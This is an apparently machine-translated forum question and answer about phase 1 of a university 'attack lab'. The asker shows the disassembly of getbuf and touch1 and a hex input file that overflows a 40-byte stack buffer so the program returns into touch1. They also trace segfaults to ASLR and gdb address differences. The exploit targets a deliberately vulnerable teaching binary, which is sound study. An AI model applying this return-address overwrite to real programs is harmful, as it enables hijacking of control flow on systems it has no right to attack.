Атака лаборатории фаза 1 ошибка сегментации - PullRequest
1 голос
/ 05 апреля 2020

Фаза 1 для моей лаборатории атак проходит примерно так:

Ctarget проходит через getbuf (), в котором я должен создать буфер для функции, чтобы перейти непосредственно к функции touch1 () вместо function test ().

Насколько я понимаю, я должен найти размер буфера и создать для него заполнение, а затем после заполнения введите младший порядковый адрес touch1 ().

0000000000001afc <getbuf>:
1afc:   48 83 ec 28             sub    $0x28,%rsp
1b00:   48 89 e7                mov    %rsp,%rdi
1b03:   e8 94 02 00 00          callq  1d9c <Gets>
1b08:   b8 01 00 00 00          mov    $0x1,%eax
1b0d:   48 83 c4 28             add    $0x28,%rsp
1b11:   c3                      retq   

0000000000001b12 <touch1>:
1b12:   48 83 ec 08             sub    $0x8,%rsp
1b16:   c7 05 bc 38 20 00 01    movl   $0x1,0x2038bc(%rip)        # 2053dc <vlevel>
1b1d:   00 00 00 
1b20:   48 8d 3d ab 19 00 00    lea    0x19ab(%rip),%rdi        # 34d2 <_IO_stdin_used+0x312>
1b27:   e8 64 f3 ff ff          callq  e90 <puts@plt>
1b2c:   bf 01 00 00 00          mov    $0x1,%edi
1b31:   e8 d6 04 00 00          callq  200c <validate>
1b36:   bf 00 00 00 00          mov    $0x0,%edi
1b3b:   e8 c0 f4 ff ff          callq  1000 <exit@plt>

В getbuf () я вижу, что размер буфера должен быть 0x28, что составляет 40 в десятичной дроби, поэтому должно быть заполнение 40 байтов. Адрес touch1 () - 0000000000001b12, младший порядок равен 12 1b 00 00 00 00 00 00.

Я создаю phase1.txt:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
12 1b 00 00 00 00 00 00

Имеется 40 байтов заполнения, а затем младший порядковый номер адреса touch1 (), но когда я его запускаю, это вызывает ошибку сегментации.

Я не знаю, что я делаю неправильно, потому что после того, как я попробовал свою версию, я посмотрел в Интернете, что сделали другие люди, и это было то же самое, что я сделал.

Редактировать 1:

I дал некоторую неправильную информацию ранее, я должен был удалить 9 байтов из заполнения, чтобы ошибка сегментации не произошла, таким образом, всего 31 байт заполнения и 8 байтов адреса. Не уверен, поможет ли это.

Edit 2:

Я запустил gdb ctarget и добавил точку останова в getbuf. Когда я запускаю информационный адрес touch1, появляется этот адрес:

(gdb) info address touch1 Symbol "touch1" is a function at address 0x555555555b12.

Увидев это, я изменил свой phase1.txt на этот:

CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC 55 55 55 55 5b 12

После выполнения cat phase1.txt | ./hex2raw | ./ctarget ошибка сегментации больше не существует, поскольку имеется менее 40 байтов, но она все еще не работает. Я не уверен, стоит ли мне добавлять 40 байт или 40 байт для заполнения, а затем адрес.

Окончательное редактирование:

Оказывается, проблема была не в том текстовом файле, в который я вводил Скорее ASLR. Поскольку я запускал его в GDB, адреса также нужно было брать из GDB и запускать на GDB. Мне пришлось запустить файл .txt через hex2raw, затем взять raw и поместить его в GDB, что-то вроде этого:

  • cat phase1.txt | ./hex2raw> raw1.txt
  • gdb ctarget
  • r

Спасибо всем за помощь!

1 Ответ

0 голосов
/ 07 апреля 2020

Оказывается, проблема была не в текстовом файле, который я вводил, а в ASLR. Поскольку я запускал его в GDB, адреса также нужно было брать из GDB и запускать на GDB. Мне пришлось запустить файл .txt через hex2raw, затем взять raw и поместить его в GDB, примерно так:

  • cat phase1.txt | ./hex2raw> raw1.txt
  • цель gdb
  • r
...